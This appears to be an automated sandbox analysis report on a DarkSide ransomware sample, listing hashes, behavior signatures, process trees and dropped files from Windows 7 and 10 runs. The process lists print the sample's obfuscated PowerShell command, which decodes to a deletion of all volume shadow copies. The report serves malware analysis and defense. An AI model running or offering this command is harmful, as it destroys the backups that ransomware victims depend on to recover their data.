Analysis Overview
SHA256
ba57e3301a4fe3b136f3126dc717b55c40b1e6a3ef9f951b9b85ede731d61de2
Threat Level: Known bad
The file ba57e3301a4fe3b136f3126dc717b55c40b1e6a3ef9f951b9b85ede731d61de2 was found to be: Known bad.
Malicious Activity Summary
DarkSide
UPX packed file
Modifies extensions of user files
Reads user/profile data of web browsers
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-01-24 00:29
Signatures
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2022-01-24 00:29
Reported
2022-01-24 00:33
Platform
win7-en-20211208
Max time kernel
121s
Max time network
126s
Command Line
Signatures
DarkSide
Modifies extensions of user files
Reads user/profile data of web browsers
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1552 wrote to memory of 1696 | N/A | C:\Users\Admin\AppData\Local\Temp\ba57e3301a4fe3b136f3126dc717b55c40b1e6a3ef9f951b9b85ede731d61de2.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1552 wrote to memory of 1696 | N/A | C:\Users\Admin\AppData\Local\Temp\ba57e3301a4fe3b136f3126dc717b55c40b1e6a3ef9f951b9b85ede731d61de2.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1552 wrote to memory of 1696 | N/A | C:\Users\Admin\AppData\Local\Temp\ba57e3301a4fe3b136f3126dc717b55c40b1e6a3ef9f951b9b85ede731d61de2.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1552 wrote to memory of 1696 | N/A | C:\Users\Admin\AppData\Local\Temp\ba57e3301a4fe3b136f3126dc717b55c40b1e6a3ef9f951b9b85ede731d61de2.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\ba57e3301a4fe3b136f3126dc717b55c40b1e6a3ef9f951b9b85ede731d61de2.exe
"C:\Users\Admin\AppData\Local\Temp\ba57e3301a4fe3b136f3126dc717b55c40b1e6a3ef9f951b9b85ede731d61de2.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
Files
memory/1552-54-0x0000000075601000-0x0000000075603000-memory.dmp
memory/1696-55-0x000007FEFB771000-0x000007FEFB773000-memory.dmp
memory/1696-58-0x00000000027F2000-0x00000000027F4000-memory.dmp
memory/1696-57-0x00000000027F0000-0x00000000027F2000-memory.dmp
memory/1696-59-0x00000000027F4000-0x00000000027F7000-memory.dmp
memory/1696-56-0x000007FEF29D0000-0x000007FEF352D000-memory.dmp
memory/1696-60-0x000000001B6E0000-0x000000001B9DF000-memory.dmp
memory/1696-61-0x00000000027FB000-0x000000000281A000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | a55d404d2972c77172e51b976db41eb5 |
| SHA1 | ebe4d7d5f11f2452aca4af51776c92c18ca70030 |
| SHA256 | c2a013beaa4cac7ef2bbc64348dc39323f7ba8c86cd82fbe1b7b34de4455c721 |
| SHA512 | 43b898bd5c6b638756586db82d645e87d882dfbc2c6130012aa2c623e17f3a8fb24ef69b57d134e1f54f4dbcac20053424365955ff6da1f437e4548a2cc6f14d |
Analysis: behavioral2
Detonation Overview
Submitted
2022-01-24 00:29
Reported
2022-01-24 00:33
Platform
win10-en-20211208
Max time kernel
122s
Max time network
140s
Command Line
Signatures
DarkSide
Modifies extensions of user files
Reads user/profile data of web browsers
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2800 wrote to memory of 3824 | N/A | C:\Users\Admin\AppData\Local\Temp\ba57e3301a4fe3b136f3126dc717b55c40b1e6a3ef9f951b9b85ede731d61de2.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2800 wrote to memory of 3824 | N/A | C:\Users\Admin\AppData\Local\Temp\ba57e3301a4fe3b136f3126dc717b55c40b1e6a3ef9f951b9b85ede731d61de2.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\ba57e3301a4fe3b136f3126dc717b55c40b1e6a3ef9f951b9b85ede731d61de2.exe
"C:\Users\Admin\AppData\Local\Temp\ba57e3301a4fe3b136f3126dc717b55c40b1e6a3ef9f951b9b85ede731d61de2.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| NL | 104.80.224.57:443 | tcp |
Files
memory/3824-121-0x000001EE562F0000-0x000001EE56312000-memory.dmp
memory/3824-124-0x000001EE564F0000-0x000001EE56566000-memory.dmp
memory/3824-141-0x000001EE3E1F0000-0x000001EE56370000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | ea6243fdb2bfcca2211884b0a21a0afc |
| SHA1 | 2eee5232ca6acc33c3e7de03900e890f4adf0f2f |
| SHA256 | 5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8 |
| SHA512 | 189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 5be7815b906bb543891425997ac1f096 |
| SHA1 | 596d6d0bc1d75bbe360aa154b1e61389eacaad1b |
| SHA256 | 9005ab6429d6b7277a6eb71da0d99cd2cfe11de1e513e331adda1885636f943e |
| SHA512 | 25ae960ab6a87c029784c3cd6413995aa2217a82c0d6a1b198553cd75a2088bc1f56d05bf8981260f5a3449f94a2057d51889f7d15c41f0b5a4170a22ef5d037 |
memory/3824-145-0x000001EE3E1F0000-0x000001EE56370000-memory.dmp